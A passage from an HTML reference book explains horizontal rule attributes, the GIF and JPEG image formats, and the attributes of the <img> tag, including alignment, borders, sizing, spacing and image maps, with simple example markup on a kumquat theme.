Supported only by Internet Explorer, the color attribute lets you set the color of the rule. The value of this attribute is either the name of a color or a hexadecimal triple defining a specific color. For a complete list of color names and values, see Appendix F, Color Names and Values.

By default, a rule is set to the same color as the document background, with the chiseled edges slightly darker and lighter than the background color. You lose the 3D effect when you specify another color, either in a style sheet or with the color attribute.

The style and class attributes

The style attribute for the <hr> tag creates an inline style for the tag, overriding any other style rule in effect. The class attribute lets you apply a predefined set of properties for this particular <hr> tag; its value is the name of that class. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"]

Combining rule attributes

You may combine the various rule attribute extensions and their order isn't important. To create big squares, for example, combine the size and width attributes (see Figure 5.6):

<hr size=32 width="50%" align=center>

Figure 5.6: Combining rule attributes for special effects

[Graphic: Figure 5-6]

In fact, some combinations of rule attributes are necessary--align and width, for example. Align alone appears to do nothing because the default rule width stretches all the way across the display window.

Using Rules to Divide Your Document

Horizontal rules provide a handy visual navigation device for your readers. To use <hr> effectively as a section divider, first determine how many levels of headings your document has and how long you expect each section of the document to be. Then decide which of your headings warrant being set apart by a rule.

A horizontal rule can also delimit the front matter of a document, separating the table of contents from the document body, for example. Use a rule also to separate the document body from a trailing index, bibliography, or list of figures.

Experienced HTML authors also use horizontal rules to mark the beginning and end of a form. This is especially handy for long forms that make users scroll up and down the page to view all the fields. By consistently marking the beginning and end of a form with a rule, you help users stay within the form, better ensuring they won't inadvertently miss a portion when filling out its contents.

Using Rules in Headers and Footers

A fundamental style approach to HTML document families is to have a consistent look and feel, including a standard header and footer for each document. Typically, the header contains navigational tools that help users easily jump to internal sections as well as related documents in the family, while the footer contains author and document information as well as feedback mechanisms like an email link to the webmaster.

To ensure these headers and footers don't infringe on the main document contents, consider using rules directly below the header and above the footer. For example (see also Figure 5.7):

<body>
Kumquat Growers Handbook - Growing Season Guidelines
<hr>
<h1>Growing Season Guidelines</h1>
Growing season for the noble fruit varies throughout the
United States, as shown in the following map:
<p>
<img src="pics/growing-season.gif">
<p>
<hr>
<i>Provided as a public service by the
<a href="feedback.html">Kumquat Lovers of America</a></i>

Figure 5.7: Clearly delineate headers and footers with horizontal rules

[Graphic: Figure 5-7]

By consistently setting apart your headers and footers using rules, you help users locate and focus upon the main body of your document.

Previous | Home | Next
Special Character Encoding | Book Index | Inserting Images in Your Documents
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.2 Inserting Images in Your Documents

HTML: The Definitive Guide

Previous Chapter 5
Rules, Images, and Multimedia 		Next

5.2 Inserting Images in Your Documents

One of the most compelling features of HTML is its ability to include images with your document text, either as an intrinsic component of the document (inline images), as separate documents specially selected for download via hyperlinks, or as a background for your document. When judiciously added to the body content, images--static and animated icons, pictures, illustrations, drawings, and so on--can make your documents more attractive, inviting, and professional looking, as well as informative and easier to browse. You may also specially enable an image so that it becomes a visual map of hyperlinks. When used to excess, however, images make your document cluttered, confusing, and inaccessible, as well as unnecessarily lengthening the time it takes for users to download and view your pages.

image formats

Understanding Image Formats

The HTML standard does not prescribe an official format for images. However, the popular browsers specifically accommodate only certain image formats: GIF and JPEG, in particular (see following sections for explanations). Most other multimedia formats require special accessory applications that each browser owner must obtain, install, and successfully operate to view the special files. So it's not too surprising that GIF and JPEG are the de facto image standards on the Web.

Both image formats were already in widespread use before the Web came into being, so there's lots of supporting software out there to help you prepare your graphics for either format. However, each has its own advantages and drawbacks, including features that some browsers exploit for special display effects.

GIF

The Graphics Interchange Format (GIF) was first developed for image transfer among users of the CompuServe online service. The format has several features that make it popular for use in HTML documents. Its encoding is cross-platform, so that with appropriate GIF decoding software (included with most browsers), the graphics you create and make into a GIF file on a Macintosh, for example, can be loaded into a Windows-based PC, decoded, and viewed without a lot of fuss. The second main feature is that GIF uses special compression technology that can significantly reduce the size of the image file for faster transfer over a network. GIF compression is "lossless," too; none of an image's original data is altered or deleted, so the uncompressed and decoded image exactly matches its original. And GIF images can be easily animated.

Even though GIF image files invariably have the .gif (or .GIF) filename suffix, there actually are two GIF versions: the original GIF87 and an expanded GIF89a, which supports several new features, including transparent backgrounds, interlaced storage, and animation, that are popular with HTML authors (see the section called "Interlacing, transparency, and animation"). The currently popular browsers support both GIF versions, which use the same encoding scheme that maps 8-bit pixel values to a color table, for a maximum of 256 colors per image. Most GIF images have even fewer colors and there are special tools to simplify the colors in more elaborate graphics. By simplifying the GIF images, you create a smaller color map and enhance pixel redundancy for better file compression and consequent faster downloading.

However, because of the limited number of colors, a GIF-encoded image is not always appropriate, particularly for photorealistic pictures (see the section called "JPEG"). Rather, GIFs make excellent icons, reduced color images, and drawings.

Because most graphical browsers explicitly support the GIF format, it is currently the most widely accepted image-encoding format on the Web. It is acceptable for both inline images and externally linked ones. When in doubt as to which image format to use, choose GIF.[2] It will work in almost any situation.

[2] We cannot resist the temptation to point out that choosy authors choose GIF.

Interlacing, transparency, and animation

GIF images can be made to perform three special tricks: interlacing, transparency, and animation. With interlacing, a GIF image seemingly materializes on the display, rather than progressively flowing onto it from top to bottom. Normally, a GIF encoded image is a sequence of pixel data, in order row-by-row, from top to bottom of the image. While the common GIF image renders onscreen like pulling down a window shade, interlaced GIFs open like a venetian blind. That's because interlacing sequences every fourth row of the image. Users get to see a full image--top to bottom, albeit fuzzy--in a quarter of the time it takes to download and display the remainder of the image. The resulting quarter-done image usually is clear enough so that users with slow network connections can evaluate whether to take the time to download the remainder of the image file.

Not all graphical browsers, although able to display an interlaced GIF, are actually able to display the materializing effects of interlacing. With those that do, users still can defeat the effect by choosing to delay image display until after download and decoding. Older browsers, on the other hand, always download and decode images before display, and don't support the effect at all.

Another popular effect available with GIF images--GIF89a-formatted images, actually--is the ability to make a portion of them transparent so that what's underneath--usually the browser window's background--shows through. The transparent GIF image has one color in its color map designated as the background color. The browser simply ignores any pixel in the image that uses that background color, thereby letting the display window's background show through. By carefully cropping its dimensions and by using a solid, contiguous background color, a transparent image can be made to seamlessly meld into a page's surrounding content or float above it.

Transparent GIF images are great for any graphic you want to meld into the document and not stand out as a rectangular block. Transparent GIF logos are very popular, as are transparent icons and dingbats--any graphic that should appear to have an arbitrary, natural shape. You may also insert a transparent image inline with conventional text to act as a special character glyph within conventional text.

The downside to transparency is that the GIF image will look lousy if you don't remove its border when included in a hyperlink anchor (<a> tag ), or is otherwise specially framed. And content flow happens around the image's rectangular dimensions, not adjacent to its apparent shape. That can lead to unnecessarily isolated images or odd-looking sections in your HTML pages.

The third unique trick available to the HTML author with GIF89a-formatted images is the ability to do simple frame-by-frame animation. Using special GIF animation software utilities, you may prepare a single GIF89a file to contain a series of GIF images. The browser displays each image in the file, one after the other, something like the page-flipping animation booklets we had (even drew!) as kids. Special control segments between each image in the GIF file let you set the number of times the browser runs through the complete sequence (looping), how long to pause between each image, whether or not the image space gets wiped to background before the browser displays the next image, and so on. By combining these control features with those normally available for GIF images, including individual color tables, transparency, and interlacing, you can create some very appealing and elaborate animations.[3]

[3] Songline Studios has published an entire book dedicated to GIF animation: GIF Animation Studio, by Richard Koman (1996).

Although simple, GIF animation is powerful for one other important reason: You don't need to specially program your HTML documents to achieve animation. But there is one major downside that limits their use except for small, icon-sized, or thin bands of space in the browser window: GIF animation files get large fast, even if you are careful not to repeat static portions of the image in successive animation cells. And if you have several animations in one document, download delays may--and usually will--annoy the user. If there is any feature on your HTML that deserves close scrutiny for excess, it's GIF animation.

Any and all GIF tricks--interlacing, transparency, and animation--don't just happen; you need special software to prepare the GIF file. Many image tools now save your creations or acquired images in GIF format, and most now let you enable transparency, as well as let you make interlaced GIF files. There also are a slew of shareware and freeware programs specialized for these tasks, as well as for creating GIF animation. Look into your favorite Internet software archives for GIF graphics and conversion tools and also see Chapter 15, Tips, Tricks, and Hacks, for details on creating transparent images.

JPEG

The Joint Photographic Experts Group (JPEG) is a standards body that developed what is now known as the JPEG image-encoding format. Like GIFs, JPEG images are platform-independent and specially compressed for high-speed transfer via digital communication technologies. Unlike GIF, JPEG supports tens of thousands of colors for more detailed, photorealistic digital images. And JPEG uses special algorithms that yield much higher data-compression ratios. It is not uncommon, for example, for a 200-kilobyte GIF image to be reduced to a 30-kilobyte JPEG image. To achieve that amazing compression, JPEG does lose some image data. However, you can adjust the degree of "lossiness" with special JPEG tools, so that although the uncompressed image may not exactly match the original, it will be close enough that most people cannot tell the difference.

Although JPEG is an excellent choice for photographs, it's not a particularly good choice for illustrations. The algorithms used for compressing and uncompressing the image leave noticeable artifacts when dealing with large areas of one color. Therefore, if you're trying to display a drawing, the GIF format may be preferable.

The JPEG format, usually designated by the .jpg (or .JPG) filename suffix, is nearly universally understood by today's graphical browsers. On rare occasions, you'll come across an older browser that cannot directly display JPEG images.

When to Use Images

Most pictures are worth a thousand words. But don't forget that no one pays attention to a blabbermouth. First and foremost, think of your HTML document images as visual tools, not gratuitous trappings. They should support your text content and help readers navigate your documents. Use images to clarify, illustrate, or exemplify the contents. Content supporting photographs, charts, graphs, maps, and drawings are all natural candidates for appropriate HTML images. Product photographs are essential components in online catalogs and shopping guides, for example. And link-enabled icons and dingbats, including animated images, can be effective visual guides to internal and external resources. If an image doesn't do any of these valuable services for your document, throw it out already!

One of the most important considerations when adding images to a document is the additional delay they add to the retrieval time for a document over the network, particularly for modem connections. While a simple text document might run, at most, 10 or 15 thousand bytes, images can easily extend to hundreds of thousands of bytes each. And the total retrieval time for a document is not only equal to the sum of all its component parts, but also to compounded networking overhead delays since each image requires a separate connection and download request between the client browser and the web server. Depending on the speed of the connection (bandwidth, usually expressed as bits or bytes per second) as well as network congestion that can delay connections, a single document containing one 100-kilobyte image may take anywhere from around 30 seconds through a 28.8 kilobit-per-second modem connection in the wee hours of the morning when most everyone else is asleep, to well over ten minutes with a 9600 bit-per-second modem at noontime. You get the picture?

When to Use Text

Text hasn't gone out of style. For some users, it is the only portion of your document they can access. We argue that, in most circumstances, your documents should be usable by readers who cannot view images or have disabled their automatic download in their browser to improve their low-speed connection. While the urge to add images to all of your documents may be strong, there are times when pure text documents make more sense.

Documents being converted to the Web from other formats rarely have embedded images. Reference materials and other serious content often is completely usable in a text-only form.

You should create text-only documents when access speed is critical and potentially slow. If you know that many users will have only low-speed connections to your pages, you should accommodate them by avoiding the use of images within your documents. Better yet, provide a home (leading) page that lets readers decide between duplicate collections of your work: one containing the images, and another stripped of them. (The popular browsers include special picture icons as place holders for yet-to-be downloaded images, which can trash and muddle your document's layout into an unreadable mess.)

Text is most appropriate--supporting images only, without frills or nonessential graphics--if your documents are to be readily searchable by any of the many Web indexing services. Images are almost always ignored by these search engines. If the major content of your pages is provided with images, very little information about your documents will find its way into the online web directories.

Speeding Image Downloads

There are several ways to ameliorate the overhead and delays inherent with images, besides being very choosy about which to include in your documents.

Keep it simple.

A full-screen, 24-bit color graphic, even when reduced in size by digital compression with one of the standard formats like GIF or JPEG, is still going to be a network bandwidth hog. Acquire and use the various image management tools to optimize image dimensions and number of colors into the fewest number of pixels. Simplify your drawings. Stay away from panoramic photographs. Avoid large empty backgrounds in your images, as well as gratuitous borders and other space-consuming elements. Also avoid dithering (blending two colors among adjacent pixels to achieve a third color); the technique can significantly reduce the compressibility of your images. Strive for large areas of uniform colors, which compress readily in both GIF and JPEG format.

Reuse images.

This is particularly true for icons and GIF animations. Most browsers cache incoming document components in local storage for the very purpose of quick, network connection-less retrieval of data. For smaller GIF animation files, try to prepare each successive image to only update portions that change in the animation, rather than redraw the entire image (this speeds up the animation, too).

Divide up large documents.

This is a general rule that includes images. Many small document segments, organized through hyperlinks (of course!) and effective tables of contents tend to be better accepted by users than a few large documents. In general, people would rather "flip" several pages than dawdle waiting for a large one to download. (It's related to the TV channel-surfing syndrome.) One accepted rule of thumb is to keep your documents under 50 kilobytes each, so even the slowest connections won't overly frustrate your readers.

Isolate necessarily large graphics.

Provide a special link to large images, perhaps one that includes a thumbnail of the graphic, thereby letting readers decide if and when they want to spend the time downloading the full image. And since the downloaded image isn't mixed with other document components like inline images, it's much easier for the reader to identify and save the image on their system's local storage for later study. (For details on non-inline image downloads, see the section called "Precise Spacing and Layout".)

Specify image dimensions.

Finally, another way to improve performance is by including the image's rectangular height and width information in its tag. By supplying those dimensions, you eliminate the extra steps the extended browsers must take to download, examine, and calculate an image's space in the document. There is a downside to this approach, however, that we explore in 5.2.6.11.

JPEG or GIF?

You may choose to use only JPEG or GIF images in your HTML documents if your sources for images or your software toolset prefers one over the other format. Both are nearly universally supported by today's browsers, so there shouldn't be any user-viewing problems.

Nevertheless, we recommend that you acquire the facilities to create and convert to both formats, to take advantage of their unique capabilities. For instance, use GIF's transparency feature for icons and dingbats. Alternatively, use JPEG for large and colorful images for faster downloading.

The <img> Tag

The <img> tag lets you reference and insert a graphic image into the current text flow of your HTML document. There is no implied line or paragraph break before or after the <img> tag, so images can be truly "inline" with text and other content.

<img>
Function:

Inserts an image into a document

Attributes:

ALIGN
ALT
BORDER
CONTROLS (Internet Explorer)
DYNSRC (Internet Explorer)
HEIGHT
HSPACE
ISMAP
LOOP (Internet Explorer)
LOWSRC (Netscape)
NAME (Netscape)
ONABORT (Netscape)
ONERROR (Netscape)
ONLOAD (Netscape)
SRC
START (Internet Explorer)
USEMAP
VSPACE
WIDTH

End tag:

None

Contains:

Nothing

Used in:

text

The format of the image itself is not defined by the HTML standard, although the popular graphical browsers support GIF and JPEG images. The HTML standard doesn't specify or restrict the size or dimensions of the image, either. Images may have any number of colors, but how those colors are rendered is highly browser-dependent.

Image presentation in general is very browser-specific. Images may be ignored by nongraphical browsers. Browsers operating in a constrained environment may modify the image size or complexity. And users, particularly those with slow network connections, may choose to defer image loading altogether. Accordingly, you should make sure your documents make sense and are useful, even if the images are completely removed.

The src attribute

The src attribute for the <img> tag is required (unless you use dynsrc with Internet Explorer-based movies; see the section called "The dynsrc attribute"). Its value is the image file's URL, either absolute or relative to the HTML document referencing the image. To unclutter their document storage, HTML authors typically collect image files into a separate folder they often name something like "pics" or "images." [the section called "Referencing Documents: The URL"]

For example, this HTML fragment places an image of a famous kumquat packing plant into the narrative text (see Figure 5.8):

Here we are, on day 17 of the tour, in front of the kumquat
packing plant:
<p>
<img src="pics/packing_plant.gif">
<p>
What an exciting moment, to see the boxes of fruit moving

In the example, the paragraph (<p>) tags surrounding the <img> tag cause the browser to render the image by itself with some vertical space after the preceding text and before the trailing text. Text may also abut the image, as we describe in the section called "The align attribute".

Figure 5.8: Image integrated with text

[Graphic: Figure 5-8]

The lowsrc attribute

To the benefit of users, particularly those with slow Internet connections, Netscape provides the lowsrc companion to the src attribute in the <img> tag as a way to speed up document rendering. The lowsrc attribute's value, like src, is the URL of an image file that the browser loads and displays when it first encounters the <img> tag. Then, when the document has been completely loaded and can be read by the user, Netscape goes back and retrieves the image specified by the src attribute.

Ostensibly, the lowsrc image is a low-resolution, abbreviated version of the final src image that loads faster by comparison to quickly give the reader an idea of its content until the final, higher-resolution image eventually replaces it onscreen. But the lowsrc attribute can also be used for some very special effects.

Netscape uses the lowsrc image's dimensions to reserve space in the document for both the lowsrc and src images, unless you explicitly allocate that space with the height and width attributes described later in this chapter. Hence, if the dimensions of the image specified in the src attribute are different than those for the lowsrc image or your explicitly included height and width values, the src image will be reduced, enlarged, stretched, and/or compressed to fit in the allotted space. Moreover, the lowsrc and src images needn't be identical, so you might take advantage of the delayed rendering of the src image for simple animation.

The lowsrc attribute is for Netscape only. Other browsers ignore it and only load the image specified by the src attribute. Netscape won't load either image if the user chooses not to auto-load images. In that case, both images will load in order when the user clicks the images button or clicks the image icon placeholder. No browser loads the lowsrc image only; you must include a src image, otherwise nothing will appear except the missing image icon.

The alt attribute

The alt attribute specifies alternative text the browser may show if image display is not possible or disabled by the user. It's an option, but one we highly recommend you exercise for most images in your document. This way, if the image is not available, the user still has some indication of what it is that's missing.

The value for the alt attribute is a text string of up to 1024 characters, enclosed in quotation marks if you include spaces or other punctuation. The alternative text may contain entity references to special characters, but it may not contain any other sort of markup; in particular, no style tags are allowed.

Graphical browsers ignore the alt attribute if the image is available and downloading is enabled by the user. Otherwise, they insert the alt attribute's text as a label next to an image placeholder icon. Well-chosen alt labels thereby additionally support those users with a graphical browser who have disabled their automatic image download because of a slow connection to the Web.

Nongraphical, text-only browsers like Lynx put the alt text directly into the content flow just like any other text element. So, when used effectively, the alt tag sometimes can transparently substitute for missing images. (Your text-only browser users will appreciate not being constantly reminded of their second-class Web citizenship.) For example, consider using an asterisk as the alt attribute alternative to a special bullet icon:

<h3><img src="pics/fancy_bullet.gif" alt="*">Introduction</h3>

A graphical browser displays the bullet image, while in a nongraphical browser the alt asterisk takes the place of the missing bullet. Similarly, use alt text to replace special image bullets for list items. For example, the following code:

<ul>
  <li> Kumquat recipes <img src="pics/new.gif" alt="(New!)">
  <li> Annual harvest dates
</ul>

displays the new.gif image with graphical browsers, and the text "(New!)" with text-only browsers.

image alignment

The alt attribute lets you use even more complex text (see Figure 5.9):

Here we are, on day 17 of the tour, in front of the kumquat
packing plant:
<p>
<img src="pics/packing_plant.gif"
  alt="[Image of our tour group outside the main packing plant]">
<p>
What an exciting moment, to see the boxes of fruit moving

Figure 5.9: Text-only browsers like Lynx display an image's alt attribute text

[Graphic: Figure 5-9]

The align attribute

The HTML standard does not define a default alignment for images with respect to other text and images in the same line of text, so you cannot absolutely predict how the mixture of text and images will look.[4] HTML images normally appear in line with a single line of text. Our common media like magazines typically wrap text around images, with several lines next to and abutting the image, not just a single line.

[4] Most of the popular graphical browsers normally insert an image so that its base aligns with the baseline of the text--the same alignment as that specified by the attribute value of bottom. Nonetheless, HTML document designers should assume that alignment varies between browsers and always include the desired type of image alignment.

Fortunately, HTML document designers can exert some control over the alignment of images with the surrounding text through the align attribute for the <img> tag. The HTML standard specifies five image-alignment attribute values: left, right, top, middle, and bottom. The left and right values flow any subsequent text around the image, which is moved to the corresponding margin; the remaining three align the image vertically with respect to the surrounding text. Netscape adds four more vertical alignment attributes to that list: texttop, absmiddle, baseline, and absbottom, while Internet Explorer adds center.

The following list contains descriptions for the inline HTML image alignments; see Figure 5.10 for examples.

Figure 5.10: HTML standard and browser-extended inline image alignments with text

[Graphic: Figure 5-10]

top

The top of the image is aligned with the top edge of the tallest item in the current line of text. If there are no other images in the current line, the top of the image is aligned with the top of the text.

texttop (Netscape)

The align=texttop attribute and value tells Netscape to align the top of the image with the top of the tallest text item in the current line. This is slightly different from the standard HTML top option, which aligns the top of the image with the top of the tallest item, image or text, in the current line. If the line contains no other images that extend above the top of the text, texttop and top have the same effect.

middle

Netscape and Internet Explorer treat the middle image alignment value differently: Netscape always aligns the middle of the image to the baseline of the text, regardless of other inline elements, such as another inline image (see Figure 5.11). Internet Explorer, on the other hand, aligns the middle of the image to the middle of the tallest item in the current line, text or image (see Figure 5.12). Notice the alignments and differences in Figure 5.11 and Figure 5.12, particularly when only one image contains the align attribute. Both figures display the HTML fragment:

Line of text
<img src="pics/horiz.gif" align=middle>
<img src="pics/vert.gif">
goes on ...
<br clear=left>
<p>
Line of text
<img src="pics/horiz.gif" align=middle>
<img src="pics/vert.gif" align=middle>
goes on ...

Also note that Internet Explorer Version 3 treats middle, absmiddle, and center the same, whereas earlier Internet Explorer versions and the current Netscape (Version 4) distinguishes between middle and absmiddle alignments. (If you are confused as to exactly what each alignment value means, please raise your hand.)

Figure 5.11: Netscape aligns middle of image to baseline of text

[Graphic: Figure 5-11]

Figure 5.12: Internet Explorer aligns middle of image to middle of tallest line element

[Graphic: Figure 5-12]

absmiddle

If you set the align attribute of the <img> tag to absmiddle, the browser will fit the absolute middle of the image to the absolute middle of the current line. For Netscape and earlier versions of Internet Explorer, this is different from the common middle option, which aligns the middle of the image with the baseline of the current line of text (the bottom of the characters). Version 3 of Internet Explorer, on the other hand, treats absmiddle the same as middle and center.

center

The center image alignment value gets treated the same as absmiddle by both Internet Explorer and Netscape, but note that the browsers treat absmiddle and middle differently.

bottom and baseline (default)

With Netscape and earlier versions of Internet Explorer, the bottom and baseline image alignment values have the same effect as if you didn't include any alignment attribute at all: the browsers align the bottom of the image in the same horizontal plane as the baseline of the text. This is not to be confused with the absbottom, which takes into account letter "descenders" like the tail on the lowercase "y." Internet Explorer Version 3, on the other hand, treats bottom the same as absbottom. (Did we see a hand up in the audience?)

absbottom

The align=absbottom attribute tells the browsers to align the bottom of the image with the true bottom of the current line of text. The true bottom is the lowest point in the text taking into account descenders, even if there are no descenders in the line. A descender is the tail on a "y," for example; the baseline of the text is the bottom of the "v" in the "y" character.

Use the top or middle alignment values for best integration of icons, dingbats, or other special inline effects with the text content. Otherwise, align=bottom (the default) usually gives the best appearance. When aligning one or more images on a single line, select the alignment that gives the best overall appearance to your document.

Wrapping text around images

The left and right image alignment values tell the browser to place an image against the left or right margin, respectively, of the current text flow. The browser then renders subsequent document content in the remaining portion of the flow adjacent to the image. The net result is that the document content following the image gets wrapped around the image.

<img src="pics/kumquat.gif" align=left>
The kumquat is the smallest of the citrus fruits, similar in appearance to a tiny orange. The similarity ends with its appearance, however. While oranges are generally sweet, kumquats are extremely bitter. Theirs is an acquired taste, to be sure.

Figure 5.13 shows text flow around a left-aligned image.

Figure 5.13: Text flow around a left-aligned image

[Graphic: Figure 5-13]

You can place images against both margins simultaneously (Figure 5.14) and the text will run down the middle of the page between them:

<img src="pics/kumquat.gif" align=left>
<img src="pics/tree.gif" align=right>
The kumquat is the smallest of the citrus fruits, similar in appearance to a tiny orange. The similarity ends with its appearance, however. While oranges are generally sweet, kumquats are extremely bitter. Theirs is an acquired taste, to be sure.

Figure 5.14: Running text between left- and right-aligned images

[Graphic: Figure 5-14]

While text is flowing around an image, the left (or right) margin of the page is temporarily redefined to be adjacent to the image as opposed to the edge of the page. This means that subsequent images with the same alignment will stack up against each other. The following source fragment achieves that staggered image effect:

<img src="pics/marcia.gif" align=left>
Marcia!
<br>
<img src="pics/jan.gif" align=left>
Jan!
<br>
<img src="pics/cindy.gif" align=left>
Cindy!

The results of this example are shown in Figure 5.15.

Figure 5.15: Three very lovely girls

[Graphic: Figure 5-15]

When the text flows beyond the bottom of the image, the margin returns to its former position, typically at the edge of the browser window.

Centering an image

Have you noticed that you can't horizontally center an image in the browser window with the align attribute? The middle and absmiddle values center the image vertically with the current line, but the image is horizontally justified depending on what content comes before it in the current flow and the dimensions of the browser window.

You can horizontally center an inline image in the browser window, but only if it's isolated from surrounding content, such as by paragraph, division, or line break tags. Then, either use the <center> tag, or use the align=center attribute or center-justified style in the paragraph or division tag to center the image. For example:

Kumquats are tasty treats
<br>
<center>
<img src="pics/kumquat.gif">
</center>
that everyone should strive to eat!

Use the paragraph tag with its align=center attribute if you want some extra space above and below the centered image:

Kumquats are tasty treats
<p align=center>
<img src="pics/kumquat.gif">
</p>
that everyone should strive to eat!

The border attribute

Browsers normally render images that also are hyperlinks (included in an <a> tag) with a two-pixel-wide colored border, indicating to the reader that the image can be selected to visit the associated document. You can change the thickness of that border with the border attribute to the <img> tag. The value of the border attribute is an integer equal to the border thickness in pixels.

Figure 5.16 shows you the thick and thin of image borders, as rendered from the following HTML source:

<a href="test.html">
 <img src="pics/kumquat.gif" border=1>
</a>
<a href="test.html">
  <img src="pics/kumquat.gif" border=2>
</a>
<a href="test.html">
  <img src="pics/kumquat.gif" border=4>
</a>
<a href="test.html">
  <img src="pics/kumquat.gif" border=8>
</a>

Figure 5.16: The thick and thin of image borders

[Graphic: Figure 5-16]

Removing the image border

You can eliminate the border around an image hyperlink altogether with the border=0 attribute within the <img> tag. For some images, particularly image maps, the absence of a border can greatly improve the appearance of your pages. Images that are clearly link buttons to other pages may also look best without a border.

Be careful, though, that by removing the border, you don't diminish your page's usability. No border means you've removed a common visual indicator of a link, making it less easy for your readers to find the links on the page. Browsers will change the mouse cursor as readers pass it over an image that is a hyperlink, but you should not assume they will, nor should you make readers test your borderless images to find hidden links.

We strongly recommend that you use some additional way with borderless images to let your readers know to click the images. Even including simple text instructions will go a long way to making your pages more accessible to readers.

The height and width attributes

Normally, a graphical browser determines the size of an image and, hence, the rectangular space to reserve for it in the display window, by retrieving the image file and extracting its embedded height and width specifications. This is not the most efficient way to render a document since the browser must sequentially examine each image file and calculate its screen space before rendering adjacent and subsequent document content. That can significantly increase the amount of time it takes to render the document and delay scanning by the user.

A more efficient way for HTML authors to specify an image's dimensions is with the height and width <img> attributes. That way, the browser can calculate and reserve space before actually downloading an image, speeding document rendering. Both attributes require an integer value that indicates the image size in pixels; the order in which they appear in the <img> tag is not important.

Resizing and flood-filling images

A hidden feature of the height and width attributes is that you don't need to specify the actual image dimensions; the attribute values can be larger or smaller than the actual size of the image. The browser automatically scales the image to fit the predefined space. This gives you a down-and-dirty way of creating thumbnail versions of large images and a way to enlarge very small pictures. Be careful, though: the browser still must download the entire file, no matter what its final rendered size is, and you will distort an image if you don't retain its original height versus width proportions.

Another trick with height and width provides an easy way to flood-fill areas of your page and can also improve document performance. Suppose you want to insert a colored bar across your document.[5] Rather than create an image to the full dimensions, create one that is just one pixel high and wide and set it to the desired color. Then use the height and width attributes to scale it to the larger size:

[5] This is one way to create colored horizontal rules in Netscape 3 or earlier, which don't support the color attribute of the <hr> tag.

<img src="pics/one-pixel.gif" width=640 height=20>

The smaller image downloads much faster than a full-scale image, and the width and height attributes create the desired bar after the tiny image arrives at the browser (see Figure 5.17).

Figure 5.17: This bar was made from a one-pixel image

[Graphic: Figure 5-17]

One last trick with the width attribute is to use a percentage value instead of an absolute pixel value. This causes the browser to scale the image to a percentage of the document window width. Thus, to create a colored bar 20 pixels high and the width of the window, you could use:

<img src="pics/one-pixel.gif" width="100%" height=20>

As the document window changes size, the image will change size as well.

If you provide a percentage width and omit the height, the browser will retain the image's aspect ratio as it grows and shrinks. This means that the height will always be in the correct proportion to the width and the image will display without distortion.

Problems with height and width

Although the height and width attributes for the <img> tag can improve performance and let you perform some neat tricks, there is a particularly knotty downside to using them. The browser sets aside the specified rectangle of space to the prescribed dimensions in the display window even if the user has turned off automatic download of images. What the user often is left with is a page full of semi-empty frames with meaningless picture placeholder icons inside. The page looks terribly unfinished and is mostly useless. Without accompanying dimensions, on the other hand, the browser simply inserts a placeholder icon inline with the surrounding text, so at least there's something there to read in the display.

We don't have an answer to this dilemma, other than to insist that you use the alt attribute with some descriptive text so that users at least know what they are missing (see the section called "The alt attribute"). We do recommend that you include these size attributes because we encourage any practice that improves network performance.

The hspace and vspace attributes

Graphical browsers usually don't give you much space between an image and the text around it. And unless you create a transparent image border that expands the space between them, the typical two-pixel buffer between an image and adjacent text is just too close for most designers' comfort. Add the image into a hyperlink, and the special colored border will negate any transparent buffer space you labored to create, as well as draw even more attention to how close the adjacent text butts up against the image.

The hspace and vspace attributes can give your images breathing room. With hspace, you specify the number of pixels of extra space to leave between the image and text on the left and right sides of the image; the vspace value is the number of pixels on the top and bottom. Figure 5.18 shows the difference between two wrapped images.

Figure 5.18: Improve image/text interfaces with vspace and hspace extensions

[Graphic: Figure 5-18]

<img src="pics/kumquat.gif" align=left>
The kumquat is the smallest of the citrus fruits, similar
in appearance to a tiny orange. The similarity ends with its
appearance, however. While oranges are generally sweet,
kumquats are extremely bitter. Theirs is an acquired taste,
to be sure. Most folks, at first taste, wonder how you could
ever eat another, let alone enjoy it!
<p>
<img src="pics/kumquat.gif" align=left hspace=10 vspace=10>
The kumquat is the smallest of the citrus fruits, similar
in appearance to a tiny orange. The similarity ends with its
appearance, however. While oranges are generally sweet,
kumquats are extremely bitter. Theirs is an acquired taste,
to be sure. Most folks, at first taste, wonder how you could
ever eat another, let alone enjoy it!

We're sure you'll agree that the additional space around the image makes the text easier to read and the overall page more attractive.

usemap

The ismap and usemap attributes

The ismap and usemap attributes for the <img> tag tell the browser that the image is a special mouse-selectable visual map of one or more hyperlinks, commonly known as an image map. The ismap style of image maps, known as a server-side image map, may only be specified within an <a> tag hyperlink. [the section called "The <a> Tag"]

For example:

<a href="/cgi-bin/images/map2">
  <img src="pics/map2.gif" ismap>
</a>

The browser automatically sends the x,y position of the mouse (relative to the upper-left corner of the image) to the server when the user clicks somewhere on the ismap image. Special server software (the /cgi-bin/images/map2 program in the example) may then use those coordinates to determine a response.

The usemap attribute provides a client-side image map mechanism that effectively eliminates server-side processing of the mouse coordinates and its incumbent network delays and problems. Using special <map> and <area> tags, HTML authors provide a map of coordinates for the hyperlink-sensitive regions in the usemap image along with related hyperlink URLs. The value of the usemap attribute is a URL that points to that special <map> section. The browser on the user's computer translates the coordinates of a click of the mouse on the image into some action, including loading and displaying another document. [the section called "The <map> Tag"] [the section called "The <area> Tag"]

For example, the following source specially encodes the 100-pixel wide by 100-pixel tall map2.gif image into four segments, each of which, if clicked by the user, links to a different document. Also notice that we've included, validly, the ismap image map processing capability in the example <img> tag so that users of other, usemap-incapable browsers have access to the alternative, server-side mechanism to process the image map:

<a href="/cgi-bin/images/map2">
  <img src="pics/map2.gif" ismap usemap="#map2">
</a>
...
<map name="map2">
  <area coords="0,0,49,49" href="link1.html">
  <area coords="50,0,99,49" href="link2.html">
  <area coords="0,50,49,99" href="link3.html">
  <area coords="50,50,99,99" href="link4.html">
</map>

Geographical maps make excellent ismap and usemap examples: browsing a nationwide company's pages, for instance, the user might click on their home town on a map to get the addresses and phone numbers for nearby retail outlets. The advantage of the usemap client-side image map processing is that it does not require a server or special server software and so, unlike the ismap mechanism, can be used in non-web (networkless) environments, such as local files or CD-ROM.

Please read our more complete discussion of anchors and links, including image maps within links, in 7.5.

The name, onAbort, onError, and onLoad attributes

There are four <img> attributes currently supported by Netscape that let you use JavaScript to manipulate the image. The first is the name attribute, which lets you label the image so that it can be referenced by a JavaScript applet. For example,

<img src="pics/kumquat.gif" name="kumquat">

